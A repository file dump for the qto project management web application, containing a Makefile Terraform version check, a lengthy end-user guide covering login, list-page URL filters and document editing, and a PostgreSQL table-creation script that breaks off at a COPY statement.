$(shell which terraform) TERRAFORM_VERSION := $(shell terraform --version | head -n1 | tr -d 'Terraform v') TERRAFORM_REQUIRED_VERSION := "1.0.1" endif .PHONY: check-terraform ## @-> checks the terraform version check-terraform: @echo "Checking Terraform version... expecting version [${TERRAFORM_REQUIRED_VERSION}], found [${TERRAFORM_VERSION}]" @if [ "${TERRAFORM_VERSION}" != "${TERRAFORM_REQUIRED_VERSION}" ]; then \ echo "Please ensure you are running terraform version ${TERRAFORM_REQUIRED_VERSION}"; \ exit 1; \ fi <file_sep># END USER GUIDE * [1. INTRODUCTION](#1-introduction) * [1.1. DOCUMENT STATUS ](#11-document-status-) * [1.2. PURPOSE](#12-purpose) * [1.3. AUDIENCE](#13-audience) * [1.4. MASTER STORAGE AND STORAGE FORMAT](#14-master-storage-and-storage-format) * [1.5. SWITCH PROJECTS BY THE :TO OPERATOR IN THE SEARCH-BOX](#15-switch-projects-by-the-to-operator-in-the-search-box) * [1.6. VERSION CONTROL](#16-version-control) * [2. INITIAL CONCEPTS](#2-initial-concepts) * [2.1. PROCESSES RELATED TO THIS DOCUMENT](#21-processes-related-to-this-document) * [2.2. ACCESSING MULTIPLE APPLICATIONS FROM THE SAME UI](#22-accessing-multiple-applications-from-the-same-ui) * [2.3. SWITCH PROJECTS FROM THE SEARCH BOX](#23-switch-projects-from-the-search-box) * [2.4. USING THE APPLICATION FROM BOTH MOBILE AND DESKTOP BROWSERS](#24-using-the-application-from-both-mobile-and-desktop-browsers) * [3. LOGIN AND LOGOUT](#3-login-and-logout) * [3.1. LOGIN TO A QTO INSTANCE](#31-login-to-a-qto-instance) * [3.2. LOGOUT FROM A QTO INSTANCE](#32-logout-from-a-qto-instance) * [3.3. ACCESSING MULTIPLE APPLICATIONS FROM THE SAME UI](#33-accessing-multiple-applications-from-the-same-ui) * [3.4. OWN PASSWORD CHANGE](#34-own-password-change) * [3.5. SWITCH ITEMS BY USING THE :FOR OPERATOR IN THE SEARCH-BOX](#35-switch-items-by-using-the-for-operator-in-the-search-box) * [3.6. IMPORTANT PEACE OF INFORMATION ABOUT YOUR SECURITY](#36-important-peace-of-information-about-your-security) * [4. UI NAVIGATION ](#4-ui-navigation-) * [4.1. BACK BUTTON USAGE IN THE BROWSER](#41-back-button-usage-in-the-browser) * [4.2. SWITCH ITEMS BY USING THE :FOR OPERATOR IN THE SEARCH-BOX](#42-switch-items-by-using-the-for-operator-in-the-search-box) * [4.3. QTO SUPPORTS SHORTCUTS NAVIGATION](#43-qto-supports-shortcuts-navigation) * [5. THE LEFT MENU](#5-the-left-menu) * [5.1. VIEWING TABLES FROM DIFFERENT PROJECTS ( DATABASES )](#51-viewing-tables-from-different-projects-(-databases-)) * [5.2. OPEN AND CLOSE FOLDERS IN THE LEFT MENU](#52-open-and-close-folders-in-the-left-menu) * [5.3. OPENING AND CLOSING THE LEFT MENU](#53-opening-and-closing-the-left-menu) * [6. THE LIST PAGE](#6-the-list-page) * [6.1. VIEWING THE LIST PAGE](#61-viewing-the-list-page) * [6.1.1. Viewing the full content of the items](#611-viewing-the-full-content-of-the-items) * [6.1.2. Listing url syntax](#612-listing-url-syntax) * [6.1.2.1. The "pick" url param](#6121-the-"pick"-url-param) * [6.1.2.2. The "hide" url param](#6122-the-"hide"-url-param) * [6.1.2.3. The "with=col-operator-value" filter](#6123-the-"with=col-operator-value"-filter) * [6.1.2.4. The "where=col-operator-value" filter](#6124-the-"where=col-operator-value"-filter) * [6.1.2.5. Filtering with "like"](#6125-filtering-with-"like") * [6.2. SORTING AN ITEM TABLE](#62-sorting-an-item-table) * [6.2.1. The 'as' url syntax for printing the listing page](#621-the-'as'-url-syntax-for-printing-the-listing-page) * [6.3. QUICK FILTERING AN ITEM TABLE](#63-quick-filtering-an-item-table) * [6.4. SETTING THE ITEM TABLE PAGING SIZE](#64-setting-the-item-table-paging-size) * [6.5. PAGING - SETTING THE ITEM TABLE'S PAGE NUMBER](#65-paging--setting-the-item-table's-page-number) * [6.6. ITEM TABLE PAGING](#66-item-table-paging) * [6.7. KEYBOARD USABILITY IN THE LIST PAGE](#67-keyboard-usability-in-the-list-page) * [6.7.1. Navigability of the list page with the keyboard](#671-navigability-of-the-list-page-with-the-keyboard) * [6.7.2. Focus the quick search box](#672-focus-the-quick-search-box) * [6.7.3. Undo the edit on a cell](#673-undo-the-edit-on-a-cell) * [6.7.4. Keyboard navigation on the edit form](#674-keyboard-navigation-on-the-edit-form) * [6.8. NEW ITEM CREATION (CREATE)](#68-new-item-creation-(create)) * [6.8.1. Successful execution](#681-successful-execution) * [6.8.2. Error handling on list page click create new item action](#682-error-handling-on-list-page-click-create-new-item-action) * [6.9. ITEM EDIT (UPDATE)](#69-item-edit-(update)) * [6.9.1. Form edit](#691-form-edit) * [6.9.2. In-line edit ( UPDATE )](#692-in-line-edit-(-update-)) * [6.9.2.1. Table columns resizing](#6921-table-columns-resizing) * [6.9.2.2. Contents for the table's cells](#6922-contents-for-the-table's-cells) * [6.9.2.3. Successful execution](#6923-successful-execution) * [6.9.2.4. Error handling on db update error](#6924-error-handling-on-db-update-error) * [6.9.2.5. Nulls handling](#6925-nulls-handling) * [6.9.3. Dropbox edit ( UPDATE )](#693-dropbox-edit-(-update-)) * [6.10. ITEM DELETION ( DELETE )](#610-item-deletion-(-delete-)) * [6.11. LIST AS PRINT-TABLE PAGE](#611-list-as-print-table-page) * [7. THE VIEW DOC PAGE](#7-the-view-doc-page) * [7.1. NAVIGATING THE VIEW DOC PAGE](#71-navigating-the-view-doc-page) * [7.1.1. Loading the view doc page](#711-loading-the-view-doc-page) * [7.1.2. Searching the view doc by quick filtering](#712-searching-the-view-doc-by-quick-filtering) * [7.1.3. Navigating trough the document via the TOC right menu item](#713-navigating-trough-the-document-via-the-toc-right-menu-item) * [7.2. SMART INTERLINKING ( OR CROSS-REFERENCING ) CONTENT FOR SHARING ITEMS TO ANOTHER USERS](#72-smart-interlinking-(-or-cross-referencing-)-content-for-sharing-items-to-another-users) * [7.3. MANAGING THE VIEW DOC DATA WITH THE RIGHT CLICK MENU](#73-managing-the-view-doc-data-with-the-right-click-menu) * [7.4. THE RIGHT TABLE OF CONTENTS - THE "TOC MENU" THE RIGHT TABLE OF CONTENTS ( TOC ) MENU](#74-the-right-table-of-contents--the-"toc-menu" the-right-table-of-contents-(-toc-)-menu) * [7.4.1. Open & dive to manage only parts of the documents](#741-open-&-dive-to-manage-only-parts-of-the-documents) * [7.4.2. Open in list](#742-open-in-list) * [7.4.3. Export to md](#743-export-to-md) * [7.4.4. Add new parent node ( gamma )](#744-add-new-parent-node-(-gamma-)) * [7.4.5. Add new sibling node ( gamma )](#745-add-new-sibling-node-(-gamma-)) * [7.4.6. Add new child node ( gamma )](#746-add-new-child-node-(-gamma-)) * [7.4.7. Remove node ( gamma )](#747-remove-node-(-gamma-)) * [8. THE SEARCH PAGE](#8-the-search-page) * [8.1. CYCLING THOUGH THE SEARCH RESULTS](#81-cycling-though-the-search-results) * [8.2. OPENING AN ITEM FROM THE SEARCH RESULT AND EDITING](#82-opening-an-item-from-the-search-result-and-editing) * [9. THE REPORT PAGE](#9-the-report-page) * [9.1. REPORTS VIEWING](#91-reports-viewing) * [9.2. REPORTS CREATION](#92-reports-creation) ## 1. INTRODUCTION ### 1.1. Document status This document is updated constantly in every release of the qto. Each version however is considered to be a complete version regarding the qto version it situated in. ### 1.2. Purpose The purpose of this document is to describe all the features, functionalities and capabilities provided by a properly installed, configured and operated instance of the qto application for the perspective of an application end-user. This document is the CONTRACT between you as the potential, former or active user of an qto instance and the product owner of that instance. Thus, should something here be described to work in a particular way, contrarian of your user experience, you should create an issue and assign it to your instance owner. ### 1.3. Audience This document could be of interest for any potential and actual end-users of the qto application. ### 1.4. Master storage and storage format The master storage of this document is the _doc table of the production database of the instance you are using. ### 1.5. Switch projects by the :to operator in the search-box If you type the ":to &lt;&lt;database-name&gt;&gt;" you will get a drop down which will list the projects databases , to which your instance has access to, by choosing the database from the list and hitting enter you will be redirected to the same url by on the different database. ### 1.6. Version control The contents of this document MUST be updated according to the EXISTING features, functionalities and capabilities of the application version, in which this document residues. The version of this document is the same as the version of the qto application. Place your mouse over the upper left corner displaying the database name this document is served from. ## 2. INITIAL CONCEPTS A single qto web application might have access to one or many databases ( called also projects ). ### 2.1. Processes related to this document The qto provides a mean for tracking of this documentation contents to the source code per feature/functionality, thus should you find inconsistencies in the behaviour of the application and the content of this document you should create a bug issue by clicking on the plus button of the enduser_issues and assign it to the owner of your product instance. ### 2.2. Accessing multiple applications from the same UI If you type the ":to &lt;&lt;database-name&gt;&gt;" you will get a drop down which will list the projects databases , to which your instance has access to, by choosing the database from the list and hitting enter you will be redirected to the same url by on the different database. ### 2.3. Switch projects from the search box If you type the ":to &lt;&lt;database-name&gt;&gt;" you will get a drop down which will list the projects databases , to which your instance has access to, by choosing the database from the list and hitting enter you will be redirected to the same url by on the different database. ### 2.4. Using the application from both mobile and Desktop browsers Albeit not explicitly designed for mobile usage the qto web application is usable from larger smartphones and especially tablets. ## 3. LOGIN AND LOGOUT You need to send e-mail to the administrator of the qto application ( just try to login with your e-mail and you will get his/her e-mail in the error msg ). This section provides initial concepts for new users to quickly grasp the basics of the qto application. Important you MUST have cookies enabled otherwise you will not be able to use the qto instance ( if that sounded too technical more than 99% of all the browsers have by default their cookies enabled, if you use regular web services such as Google, Facebook, Instagram you probably have your cookies enabled ... ) ### 3.1. Login to a qto instance Type the login url of the qto instance you have access to, for example: https://qto.fi/qto/login. Type your email and password and hit enter or click the login button. Should you need access the e-mail of the product instance owner - that is the person, who could grant you access will be displayed in the error msg. There might be multiple projects accessible from the same qto instance, that is the following urls authenticate against different projects: https://qto.fi/some_project/login https://qto.fi/another_project/login ### 3.2. Logout from a qto instance You logout from any qto instance by opening first the left menu from the upper left corner and clicking the logout img. This will clear your session cookie. The qto application DOES NOT plant any tracking cookies, nor use any analytics to save or track your web behaviour. We usually recommend to use a real e-mail address to register to the qto application, and not even provide your first and / or last name simply to protect your privacy. If you are using multiple project the logout removes the authentication for ONLY the project you logged out from. ### 3.3. Accessing multiple applications from the same UI If you type the ":to &lt;&lt;database-name&gt;&gt;" you will get a drop down which will list the projects databases , to which your instance has access to, by choosing the database from the list and hitting enter you will be redirected to the same url by on the different database. ### 3.4. Own password change After you have the password from the administrator change it immediately after login from the &lt;&lt;app&gt;&gt;/list/users page. You can see only your own password - once you have updated it it gets stored encrypted in the database and even the user administrator cannot read it in clear text. ### 3.5. Switch items by using the :for operator in the search-box If you type the ":to &lt;&lt;database-name&gt;&gt;" you will get a drop down which will list the projects databases , to which your instance has access to, by choosing the database from the list and hitting enter you will be redirected to the same url by on the different database. ### 3.6. Important peace of information about YOUR Security Every user except the administrator can see ONLY his/her own user details. Even the instance administrator cannot see your password, but of course he/she can reset it for you. The qto by itself DOES NOT store any personal details for tracking you on the web, nor will it sell your personal data. Like NEVER! In fact we recommend providing as little personal data as possible - even by not using real personal names. The qto application users http(s) session to identify you and technically user tracking could have been implemented to gain some user data, yet from the source code of the application AND from the application documentation is evident that any such attempts, have not been planned, done, nor there are any attempts for the near and distant future. ## 4. UI NAVIGATION ### 4.1. Back button usage in the browser The qto is NOT a "modern" Single Page Application - by not doing SPA (pun intended ) we ensure that you can quickly navigate via the browser history back and forth as each page loads quickly and smoothly: And since the majority of the web users today are using Chrome, you might want to refresh your Chrome browser shortcuts : https://support.google.com/chrome/answer/157179?hl=en to be even faster with qto. ### 4.2. Switch items by using the :for operator in the search-box If you type the ":to &lt;&lt;database-name&gt;&gt;" you will get a drop down which will list the projects databases , to which your instance has access to, by choosing the database from the list and hitting enter you will be redirected to the same url by on the different database. ### 4.3. Qto supports shortcuts navigation For example typing / in a non-editable control ( textbox, textarea ) will always focus the searchbox in qto, you could quickly type a searchable word and hit enter .... ## 5. THE LEFT MENU ### 5.1. Viewing tables from different projects ( databases ) Each project in qto is actually stored in it's own database, to the access for example the dev_qto, tst_qto and prd_qto projects( which could be any names, but in this example just happen to be the dev, tst and prd databases for qto ) you should simply add the db name as the first url part: https://qto.fi:441/dev_qto/list/release_issues https://qto.fi:442/tst_qto/list/release_issues https://qto.fi:443/prd_qto/list/release_issues ### 5.2. Open and close folders in the left menu If there are too much items in the left menu you can open and close them. ### 5.3. Opening and closing the left menu You can access the different pages configured for your project from the upper left menu. Click with the mouse and the menu will open a file explorer like menu containing different folders and "documents". The left menu is accessible from all the pages. If you click somewhere else and not in the left menu, or in the X closing "button" at the top of it the left menu will be closed. ## 6. THE LIST PAGE To see a subset of any database table based on filtering criteria in the url of the qto app you would have the following url: https://qto.fi/qto/list/yearly_issues_2020?&oa=prio&pg-size=7 The "list-my page" works exactly the same way as the list page, except for the fact that the subset is ALWAYS restricted by the records belonging to the currently logged in user. The syntax of the list and list-my pages is constructed as follows: # https://qto.fi:442/qto/list-my/yearly_issues_2020?&oa=prio&pg-size=7 protocol -- https site -- qto.fi port -- 442 qto -- the project db ( migh be also different than qto ) list-my -- the action to perform on the project db - in this case list yearly_issues -- the subject of the action - in this case - WHAT to link ### 6.1. Viewing the list page You can use the url parameter to select for only desired attributes. You could filter the result the same way the filters for the select page work ( see below ). Should there be errors in the loading of the page, they will be displayed in a msg at the top of the page. #### 6.1.1. Viewing the full content of the items You can quickly view the full content of each cell of the listing table by hovering with the mouse on top of it. Note that all the links in the content are replaced with clickable links in the tooltip as well as the internal links such as the following one : enduser_guide_doc-190214224315 ( which just refer to next item in this document). #### 6.1.2. Listing url syntax The listing url syntax mimics the sql select clause syntax, yet in much more simplified form. ##### 6.1.2.1. The "pick" url param You can "pick" particular columns from the item used in the listing page by adding the url parameter pick with the comma separated list of the columns to pick for example: https://qto.fi/qto/list/yearly_issues_2020?as=grid&pick=id,name,description&page-size=5&page-num=1 ##### 6.1.2.2. The "hide" url param You can hide specific columns from an item listing by using the hide url parameter as follows: https://qto.fi/qto/list/yearly_issues?hide=description ##### 6.1.2.3. The "with=col-operator-value" filter You can filter the result of the query by using the "with=col-operator-value". The following examples demonstrates, which operators are supported. An error message is shown if you do not use existing operator. The following url demonstrates this syntax: http://qto.fi/qto/list/yearly_issues_2020?as=grid&pick=id,prio,name&page-size=5&page-num=1&where=prio-eq-1 Note when going to the next page that all the rows' status is 09-done with=status-eq-09-done list all the items having the attribute "status" equal to the "09-done" string with=prio-lt-7 list all the items having the attribute prio smaller than the number 7 this is the list of all the operators supported 'eq' => '=' , 'ne' => '<>' , 'gt' => '>' , 'lt' => '<' , 'ge' => '>=' , 'le' => '<=' , 'like' => 'like' ##### 6.1.2.4. The "where=col-operator-value" filter You can filter the result of the query by using the "where=col-operator-value", which works exactly as the with operator, thus the following examples demonstrates, which operators are supported. An error message is shown if you do not use existing operator. with=status-eq-09-done list all the items having the attribute "status" equal to the "09-done" string with=prio-lt-7 list all the items having the attribute prio smaller than the number 7 this is the list of all the operators supported 'eq' => '=' , 'ne' => '<>' , 'gt' => '>' , 'lt' => '<' , 'ge' => '>=' , 'le' => '<=' , 'like' => 'like' ##### 6.1.2.5. Filtering with "like" The filtering with the like operator translates to the SQL "like" operator- the "like-by=&lt;&lt;attr&gt;&gt;&like-val=&lt;&lt;val&gt;&gt; filtering, where &lt;&lt;attr&gt;&gt; stands for the name of the attribute to use the like operator. Example: https://qto.fi/qto/list/yearly_issues_2020?as=grid&oa=prio&pick=id,prio,name&page-size=5&page-num=1&like-by=name&like-val=add ### 6.2. Sorting an item table The listed table is sortable by clicking on the columns OR by navigating with the tab key on the keyboard on a column and hitting Enter. The sorted column is visually shown as the active one on page load: https://qto.fi/qto/list/yearly_issues_2020?as=grid&oa=prio&pick=id,prio,name&page-size=5&page-num=1&like-by=name&like-val=add #### 6.2.1. The 'as' url syntax for printing the listing page By default the url syntax of the list page has the "as=grid" default listing format, if you replace it with the "as=print-table" url parameter you will get a bare listing of the data ( all other sorting and paging parameters work as well ) , which you could use for printing as well. ### 6.3. Quick filtering an item table You can filter the already presented part of the result set in the page by using the search textbox. This is only an ui type of filtering for the already loaded data. This type of filtering is different compared to the url parameters filtering by using the with url param syntax and it filters the already fetched from the db data-set, whereas the with=&lt;&lt;attribute&gt;&gt;&lt;&lt;operator&gt;&gt;&lt;&lt;value&gt;&gt; filtering does filter on the database side. You could focus the quick search textbox by pressing the forward slash on your keyboard. The quick search box works instantaneously, thus hitting enter is not needed. ### 6.4. Setting the item table paging size You can set the page size of the result set to be fetched from the database by using the "&page-size=&lt;&lt;page-size&gt;&gt;" url parameter or by clicking on the page sizes links below the table. The default and most convenient table paging size is 7, because it allows quick paging of a small result-set without scrolling on the screen ... ### 6.5. Paging - setting the item table's page number If the result-set requested is larger than the page size you can go to the next page number by using the "&pg-num=&lt;&lt;page-num&gt;&gt;" url parameter. You could go to the next page number by clicking on the links just below the quick search textbox. The table control has UI for setting the table page number. The pager shows 10 pages at a "pager page" so getting to the end of hundreds of pages ( depending of course on your page size ) is comparably easy. You could quickly use the / char shortcut to focus to the quick search box and from there use the tab to quickly navigate to the desired page number. ### 6.6. Item table paging The table paging is decided by the pg-num=&lt;&lt;page-number&gt;&gt; and the pg-size=&lt;&lt;page-size&gt;&gt; url operators. ### 6.7. Keyboard usability in the list page The order of all the ui elements of the list-as-grid page has been arranged so that the user could cycle trough the whole page by accessing all the elements quickly. Power-users will find it extremely convenient to cycle and edit small tables. #### 6.7.1. Navigability of the list page with the keyboard You can quickly traverse the cells of the table via the tab key, which does go over the non-editable items too ( the id's ) , so that you could quickly scroll the table as scrolling when the editable is in focus does not work. The whole table is easily scrollable whenever the cursor is on non-editable part of the table ( the id's column ) and whenever the last rows must be edited the page is scrolled so that the rows are situated in the middle and not the bottom of the screen. #### 6.7.2. Focus the quick search box You could focus the quick search by typing / IF you are not editing a cell. Thus the paging on the next cell is quite handy - as you could easily jump onto the quick search and with couple of tabs navigate to the next page. #### 6.7.3. Undo the edit on a cell If you were on a cell and types some text without leaving it, but you change your mind you could simply press the Esc key, which will restore the original content of the cell and you could proceed by tab to the next cell. #### 6.7.4. Keyboard navigation on the edit form You could open the edit form with the keyboard while your cursors is on the id button of the item in the grid ( Note that the colour of the button text has to change also. By hitting enter the edit form will open witch the title id selected, from there you could cycle with the tab on each control of the form, thus each time the focus leaves a control the data updated or not is saved to the database. You could close the form by hitting enter when the close button is selected. ### 6.8. New item creation (CREATE) A new item could be added to the table in the ui and thus in the db table by clicking the plus button above the table ( which uses the google material design ui ). The new button has a fixed position, thus available during scrolling as well from the same position. The new button changes it's appears when focused via the keyboard, and can be pressed when in focus by hitting enter with the keyboard. To practice new items' creations and deletions to get comfortable on the app's behaviour you could use the following table: https://qto.fi/qto/list/test_create_table?as=grid&pick=id,name&page-size=5&page-num=1&od=id #### 6.8.1. Successful execution After clicking the plus button the System adds the new row into the database table and presents it into the table ui AS THE FIRST ROW to emphasise the created row - that is the existing sort of the table is changed to the id column. Note that if you had a defined sorting order before the addition of the new item, it has been replaced by the "order by the latest created" sorting order. #### 6.8.2. Error handling on list page click create new item action If any error occurs while the creation an error msg is presented clearly with fading effect, which returns the error msg from the database. On invalid input the data is not created to the database and nothing is stored. ### 6.9. Item edit (UPDATE) There are 2 ways to edit an item of the qto application : - inline edit - form edit #### 6.9.1. Form edit You open the form to edit an item from the edit button on the left most column in the listing. A modal dialog containing the filled in details of the item appears. You could either simply cycle via the keyboard trough the items, or edit some of the item details, as soon as any of the controls in the form is selected, after leaving the control the data is saved straight to the database. To close the edit form either click on the top close button or on the green "ok" button of the bottom of the form. Note that human readable values from the drop downs are not show, but the guid's of the tables are show ( this behaviour will probably change in the feature ... ) #### 6.9.2. In-line edit ( UPDATE ) The grid can be edited inline so that the data is updated to the database. White space in the cells is preserved. To practice new items' creations updates and deletions to get comfortable on the app's behaviour please use first the development instances of the qto project: https://qto.fi/qto/list/yearly_issues_2020?as=grid&oa=prio&pick=id,prio,name&page-size=5&page-num=1&like-by=name&like-val=add ##### 6.9.2.1. Table columns resizing You can resize the columns of the tables to a max size of 500 pixels by dragging only one text area. Note however that the textarea will NOT be resized bigger than the maximum width of the current column … For the visual outlook of the table a certain default values for certain columns' contents widths are assumed. ##### 6.9.2.2. Contents for the table's cells The table's cells should accept any UTF-8 characters including html entities. The textarea's width should adjust automatically till the width of the widest cell in the table column. ##### 6.9.2.3. Successful execution If the single cell inline-edit is successful no msg is presented and the data is updated to the database storage. If the updated cell was part of the currently sorted column the ui is automatically adjusted to the new sort order ( for example if a numeric sort was applied and the cell had value of 9 with 1..9 range and the smallest to greatest was currently active if the new update is 1 the item will appear in the top of the listing. ##### 6.9.2.4. Error handling on db update error If any error occurs while updating an error msg is presented clearly with fading effect, which returns the error msg from the database. On invalid input the data is not updated to the database and the old value in the cell is restored. ##### 6.9.2.5. Nulls handling Nulls handling is somewhat problematic in ui. For now the behaviour by convention is to leave a nullable record in the database as null, whether the cell of the ui table is left empty ( white space chars are also considered empty) #### 6.9.3. Dropbox edit ( UPDATE ) Should a column end with the "_guid" string, by convention it holds a foreign key. By convention the qto displays the select options the values from the name attribute of the primary key table, meaning simply that you could start searching for any of those items by clicking on the x close button first in the dropbox and start searching in the input. Should you search match items from the primary key table you will see them listed and you will be able to choose them either by scrolling with the mouse and hitting enter OR by pointing with the mouse. Once chosen the new value is automatically saved to the database. ### 6.10. Item deletion ( DELETE ) You can delete an item by opening the edit modal dialog box and clicking on the delete button in the bottom of the dialog box. Once the modal dialog box closes you will notice that the item has disappeared from the listing and hence the project database. ### 6.11. List as print-table page The list as print-table page is aimed at producing quickly refined result-set from the database for a further copy paste on to another html page ( wiki etc. ) or even print to paper. It has all the functionalities as the list as "table" page, without the filtering from the quick search box and without the ui for the pager and page-sizer -the url params for paging and page-sizing work, however. All the url params work as in the grid listing page. https://qto.fi/qto/list/yearly_issues_2020?as=grid&oa=prio&pick=id,prio,name&page-size=5&page-num=1&like-by=name&like-val=add&as=print-table ## 7. THE VIEW DOC PAGE The view page presents the data of a database table, having nested-set hierarchical model partially or fully by the means of different controls. The page is shortly called the view-doc page ### 7.1. Navigating the view doc page You can read a document peace by peace ( aka the big elephant ) by clicking on the logical numbers on the left of the titles in the content - the system will always post the click item to the top - note how the address bar in the broser changes too. #### 7.1.1. Loading the view doc page When the page is loaded all the content of the document is presented / according to the urls params / which are applying the same filtering as in the list page , but on the hierarchical data-set … Should there be an error a dynamic snackbar is presented with the error message. The snackbar hides itself by default after 3.9 seconds ( set by default , but it could be pinned to the page by the user to view it properly / send it further). #### 7.1.2. Searching the view doc by quick filtering Once the page is loaded the top search omnibox is selected. As soon as you start typing the document the ui starts shrinking the page by presenting ONLY the items containing the search string ( the search is case-insensitive). You can cycle and update the content for the displayed items. If your focus is not on an editable element of the page .you could focus the quick search by typing the "/" char similarly to how you could focus the search box in gmail. #### 7.1.3. Navigating trough the document via the TOC right menu item The Table of Contents ( TOC ) right menu can be opened and closed and scrolled separately from the scroll of the view doc. Whenever you click on the links in the right menu the document content on the left is scrolled nicely with the clicked title to the top of the screen. Note that the TOC menu behaves differently than the left menu - it is NOT closing, if you click outside of it. Thus you could edit your documents and keep it open. Should you want to close it use either the closing button on top of it, or the closing button in its bottom. ### 7.2. Smart interlinking ( or cross-referencing ) content for sharing items to another users The items interlinking works both in the list-grid and in the view-doc pages ( the description ). Any &lt;&lt;item&gt;&gt;-&lt;&lt;id&gt;&gt; where &lt;&lt;id&gt;&gt; is a whole number is converted into the jump to the anchor of that exact item id of that &lt;&lt;item&gt;&gt;. For example : enduser_guide_doc-190214224374 will generate a link to this "items interlinking" title ( Hold on the Ctrl key and click on the link in the tooltip on the right of this paragraph. The interlinking works between the different items as well : For example: requirements_doc-1 If the item is not a "doc" item - aka not ending with the _doc the link will redirect the user to a filtered table with only this id: for example: principles-1805311658 ### 7.3. Managing the view doc data with the right-click menu You can right-click ANY of the toc menu items ( including the doc title, which IS NOT right-clickable from the document content) and choose one of the actions to perform on the clicked item: This feature is in beta mode still - expect some serious quirks along the way ... If you right-click on a number of a title or on the title in the right TOC listing and choosing one of the following options you could: ### 7.4. The right table of contents - the "TOC menu" The right Table Of Contents ( TOC ) menu You open and close the right-click menu from the upper menu icon. The right-click menu presents the structure of the document.You could navigate with the keyboard trough the right menu links too. Note that when you click on a link on the right menu the title of the item you clicked on is scrolled to the top of the page. Right click on the title items presents the context menu containing several different options to perform on a branch of the document. Note, that you can quickly navigate with the tab key on the keyboard once the right menu is open and selected ( aka you have to click on it ), you can hit enter once reaching the desired section of the document. #### 7.4.1. Open & dive to manage only parts of the documents View the current title and it's tree as a separate document altogether - the larger your documents become the easier it could be to edit them once you open just a specific branch from the document as it's own document. #### 7.4.2. Open in list See the current branch of the document as table, which will display the additional metadata you could define to track your content ( for example status per item ). You could use the open list to quickly add src_code ui element to your items ( for now there is no view doc for this feature ... ) #### 7.4.3. Export to md This option exports this branch as Mark Down document ( GitHub syntax ), Microsoft Azure is supported as well. #### 7.4.4. Add new parent node ( gamma ) Adding new parent node means simply adding a new item in the document on the upper level in the hierarchy as the one from which you right-clicked just after it - thus for example if you right-clicked the item with number 4.3. which is the 3rd item on the second level from the 4-th item on the first level you will get the 5.0 item and if the 5.0. item already exists it will be set as the 6.0. and so on ... This feature does does not work 100% ... you MIGHT have to reload the page if the ui does not behave according to the description above, because of its complexity - this is a known bug with WIP status ... #### 7.4.5. Add new sibling node ( gamma ) Adding new sibling node means simply adding a new item in the document on the same hierarchy level as the one from which you right-clicked just after it - thus for example if you right-clicked the item with number 4.3. which is the 3rd item on the second level from the 4rth item on the first level you will get the 4.4. item and if the 4.4. item already exists it will be set as the 4.5. and so on ... This feature does does not work 100% ... you MIGHT have to reload the page if the ui does not behave according to the description above, because of its complexity - this is a known bug with WIP status ... #### 7.4.6. Add new child node ( gamma ) Adding new parent node means simply adding a new item in the document on one level below in the hierarchy as the one from which you right-clicked just after it - thus for example if you right-clicked the item with number 4.3. which is the 3rd item on the second level from the 4rth item on the first level you will get the 4.3.1 item and if the 4.3.1. item already exists it will be set as the 4.3.2. and so on ... This feature does does not work 100% ... you MIGHT have to reload the page if the ui does not behave according to the description above, because of its complexity - this is a known bug with WIP status ... #### 7.4.7. Remove node ( gamma ) Adding new parent node means simply adding a new item in the document on one level below in the hierarchy as the one from which you right-clicked just after it - thus for example if you right-clicked the item with number 4.3. which is the 3rd item on the second level from the 4rth item on the first level you will get the 4.3.1 item and if the 4.3.1. item already exists it will be set as the 4.3.2. and so on ... This feature does does not work 100% ... you MIGHT have to reload the page if the ui does not behave according to the description above, because of its complexity - this is a known bug with WIP status ... ## 8. THE SEARCH PAGE The search page is presented either after you have search globally from either the view page or the list page by typing your search query and hitting enter. Or by navigating to it from the left menu. ### 8.1. Cycling though the search results The search results listing provides a slice of the simple text search from the project database based on the postgres relevance algorithm. If you have more than 7 results you can set the size of the listing, go to the next page of the search result, previous etc. ### 8.2. Opening an item from the search result and editing To open an item from the search results click on the open button on the item row in the search listing - the dialog box contains the details of the item in read-only - to actually edit this item click on the edit button on the top in the dialog box, you will be redirect to either the list item page or the view doc page ui of this item. ## 9. THE REPORT PAGE You can view the result sets of pre-defined reports in the qto ( which are just postgres rdbms functions returning result sets), for example: https://qto.fi/qto/report/get_all_users_app_roles ### 9.1. Reports viewing You can use the same paging and quick filtering as in the search and list pages. ### 9.2. Reports creation A technical person having middle level postgres db knowledge and basic understanding of your qto proj-db business domain SHOULD be able to create a report for you ( which a basic select statement in a postgres function ) in about 15 to 30 min , depending on the complexity of the report. Once the report has been created in the db it straight visible in the reports page WITHOUT having to deploy or install anything on the application server. <file_sep>-- v0.8.6 -- \echo 'If necessary, perform -- DROP TABLE IF EXISTS app_items_doc;' -- \echo '5. Creating the app_items_doc table' CREATE TABLE app_items_doc ( guid UUID NOT NULL DEFAULT gen_random_uuid() , id bigint UNIQUE NOT NULL DEFAULT cast (to_char(current_timestamp, 'YYMMDDHH12MISS') as bigint) , seq integer NULL , level integer NULL , lft bigint NULL , rgt bigint NULL , type varchar (10) NOT NULL DEFAULT 'doc' , url varchar (2048) NOT NULL DEFAULT '#' -- 2048 is the absolute max , title varchar (50) NOT NULL DEFAULT 'link-title...' , name varchar (100) NOT NULL DEFAULT 'doc-title...' , status varchar (10) NOT NULL DEFAULT '02-todo' , description varchar (4000) , item_id integer NULL -- the future hook for the table name in the url , src varchar (4000) , formats text NULL , update_time timestamp DEFAULT DATE_TRUNC('second', NOW()) , CONSTRAINT pk_app_items_doc_guid PRIMARY KEY (guid) ); CREATE unique index idx_uniq_app_items_doc_id ON app_items_doc (id); -- insert into app_items_doc ( id , level , seq , lft , rgt , name) values ( 0 , 0, 1, 1, 8, 'ITEMS DOC' ); -- insert into app_items_doc ( id , level , seq , lft , rgt , name) values ( 1 , 1, 2, 2, 3, 'lists' ); -- insert into app_items_doc ( id , level , seq , lft , rgt , name) values ( 2 , 1, 3, 4, 5, 'docs' ); -- insert into app_items_doc ( id , level , seq , lft , rgt , name) values ( 3 , 1, 4, 6, 7, 'labels' ); -- \echo 'List columns of the created table app_items' SELECT attrelid::regclass, attnum, attname FROM pg_attribute WHERE attrelid='public.app_items_doc'::regclass AND attnum>0 AND NOT attisdropped ORDER BY attnum; -- \echo 'Update time on every EXECUTE trigger:' CREATE TRIGGER trg_set_update_time_on_app_items_doc BEFORE UPDATE ON app_items_doc FOR EACH ROW EXECUTE PROCEDURE fnc_set_update_time(); SELECT tgname FROM pg_trigger WHERE NOT tgisinternal AND tgrelid='app_items_doc'::regclass; -- -- TOC entry 3321 (class 0 OID 46939) -- Dependencies: 207 -- Data for Name: items_doc; Type: TABLE DATA; Schema: public; Owner: usrtstqtoadmin -- COPY public.app_items_doc (guid, id, level, seq, type, url, title, name, status, description, item_id, src, formats, lft, rgt, update_time) FROM 